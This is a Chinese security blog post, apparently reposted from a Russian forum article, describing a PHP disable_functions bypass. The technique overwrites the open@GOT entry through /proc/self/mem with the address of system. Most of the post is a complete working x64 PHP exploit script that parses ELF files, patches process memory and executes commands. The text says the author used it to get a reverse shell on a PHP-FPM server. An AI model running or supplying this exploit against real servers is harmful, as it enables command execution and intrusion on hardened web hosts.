记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

PHP disable_function Bypass的一种姿势

2015-01-30 04:10

分享到:

t0125ad4efecb45b4a1.jpg

近日,我们在rdot.org中发现了一篇俄罗斯朋友写的一篇关于 bypass disable_functions的文章,感觉还蛮有意思的。搬运过来分享之。

应用条件:

1)内核版本>=2.98 (原文就这样写的)

2)PHP-CGI(或者是PHP-FPM),因为mod_php并没有读取/proc/self/mem

3)代码针对x64编写,要用于x32需要更改。

4)Open_basedir=off(或者能绕过open_basedir读写 /lib/ 和/proc/)

整体思路是通过/proc/self/mem 修改got来劫持库函数调用,似例代码中,将open@got填上了system的地址,通过readfile来调用system执行系统命令,劫持这个调用调用的副作用就是这个php worker进程会被搞坏,因为下一次worker执行文件php的时候会先调用open来读取文件……

限制:

需要fopen,fread,fwrite这样的函数没有被disable,需要用来改内存嘛。

利用代码:

<?php
/*
$libc_ver:
beched@linuxoid ~ $ php -r 'readfile("/proc/self/maps");' | grep libc
7f3dfa609000-7f3dfa7c4000 r-xp 00000000 08:01 9831386                    /lib/x86_64-linux-gnu/libc-2.19.so
$open_php:
beched@linuxoid ~ $ objdump -R /usr/bin/php | grep '\sopen$'
0000000000e94998 R_X86_64_JUMP_SLOT  open
$system_offset and $open_offset:
beched@linuxoid ~ $ readelf -s /lib/x86_64-linux-gnu/libc-2.19.so | egrep "\s(system|open)@@"
  1337: 0000000000046530    45 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.2.5
  1679: 00000000000ec150    90 FUNC    WEAK   DEFAULT   12 open@@GLIBC_2.2.5
*/
function packlli($value) {
    $higher = ($value & 0xffffffff00000000) >> 32;
    $lower = $value & 0x00000000ffffffff;
    return pack('V2', $lower, $higher);
}
function unp($value) {
    return hexdec(bin2hex(strrev($value)));
}
function parseelf($bin_ver, $rela = false) {
    $bin = file_get_contents($bin_ver);
    $e_shoff = unp(substr($bin, 0x28, 8));
    $e_shentsize = unp(substr($bin, 0x3a, 2));
    $e_shnum = unp(substr($bin, 0x3c, 2));
    $e_shstrndx = unp(substr($bin, 0x3e, 2));
    for($i = 0; $i < $e_shnum; $i += 1) {
        $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
        if($sh_type == 11) { // SHT_DYNSYM
            $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
            $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
        }
        elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
            $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
        }
        elseif($rela && $sh_type == 4) { // SHT_RELA
            $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
            $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
        }
    }
    if($rela) {
        for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
            $r_offset = unp(substr($bin, $i, 8));
            $r_info = unp(substr($bin, $i + 8, 8)) >> 32;
            $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
            $name = '';
            $j = $strtab_off + $name_off - 1;
            while($bin[++$j] != "\0") {
                $name .= $bin[$j];
            }
            if($name == 'open') {
                return $r_offset;
            }
        }
    }
    else {
        for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
            $name_off = unp(substr($bin, $i, 4));
            $name = '';
            $j = $strtab_off + $name_off - 1;
            while($bin[++$j] != "\0") {
                $name .= $bin[$j];
            }
            if($name == '__libc_system') {
                $system_offset = unp(substr($bin, $i + 8, 8));
            }
            if($name == '__open') {
                $open_offset = unp(substr($bin, $i + 8, 8));
            }
        }
        return array($system_offset, $open_offset);
    }
}
echo "[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)\n";
if(strpos(php_uname('a'), 'x86_64') === false) {
    echo "[-] This exploit is for x64 Linux. Exiting\n";
    exit;
}
if(substr(php_uname('r'), 0, 4) < 2.98) {
    echo "[-] Too old kernel (< 2.98). Might not work\n";
}
echo "[*] Trying to get open@plt offset in PHP binary\n";
$open_php = parseelf('/proc/self/exe', true);
if($open_php == 0) {
    echo "[-] Failed. Exiting\n";
    exit;
}
echo '[+] Offset is 0x' . dechex($open_php) . "\n";
$maps = file_get_contents('/proc/self/maps');
preg_match('#\s+(/.+libc\-.+)#', $maps, $r);
echo "[*] Libc location: $r[1]\n";
echo "[*] Trying to get open and system symbols from Libc\n";
list($system_offset, $open_offset) = parseelf($r[1]);
if($system_offset == 0 or $open_offset == 0) {
    echo "[-] Failed. Exiting\n";
    exit;
}
echo "[+] Got them. Seeking for address in memory\n";
$mem = fopen('/proc/self/mem', 'rb');
fseek($mem, $open_php);
$open_addr = unp(fread($mem, 8));
echo '[*] open@plt addr: 0x' . dechex($open_addr) . "\n";
$libc_start = $open_addr - $open_offset;
$system_addr = $libc_start + $system_offset;
echo '[*] system@plt addr: 0x' . dechex($system_addr) . "\n";
echo "[*] Rewriting open@plt address\n";
$mem = fopen('/proc/self/mem', 'wb');
fseek($mem, $open_php);
if(fwrite($mem, packlli($system_addr))) {
    echo "[+] Address written. Executing cmd\n";
    readfile('/usr/bin/id');
    exit;
}
echo "[-] Write failed. Exiting\n";

测试环境 linux x64 nginx+php-fpm

t01ccd82dcb64499b8b.png

http://hackdig-h.stor.sinaapp.com/pictures/month_1501/201501300410135698.png

我们通过命令反弹一个shell回来(原谅我只有这一台机器)

t01144f974015888904.jpg

图中我们可以看到禁用了exec、system等常见的执行命令的函数。

http://hackdig-h.stor.sinaapp.com/pictures/month_1501/201501300410142554.png

http://hackdig-h.stor.sinaapp.com/pictures/month_1501/201501300410152685.png

成功Bypass disable_function执行命令!

需要x32的同学,自己倒腾个吧。

参考:

https://rdot.org/forum/showthread.php?t=3309

本文由 360安全播报 原创发布,如需转载请注明来源及本文地址。
本文地址:http://www.hackdig.com/?01/hack-18045.htm


知识来源: bobao.360.cn/learning/detail/225.html

阅读:197300 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“PHP disable_function Bypass的一种姿势”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云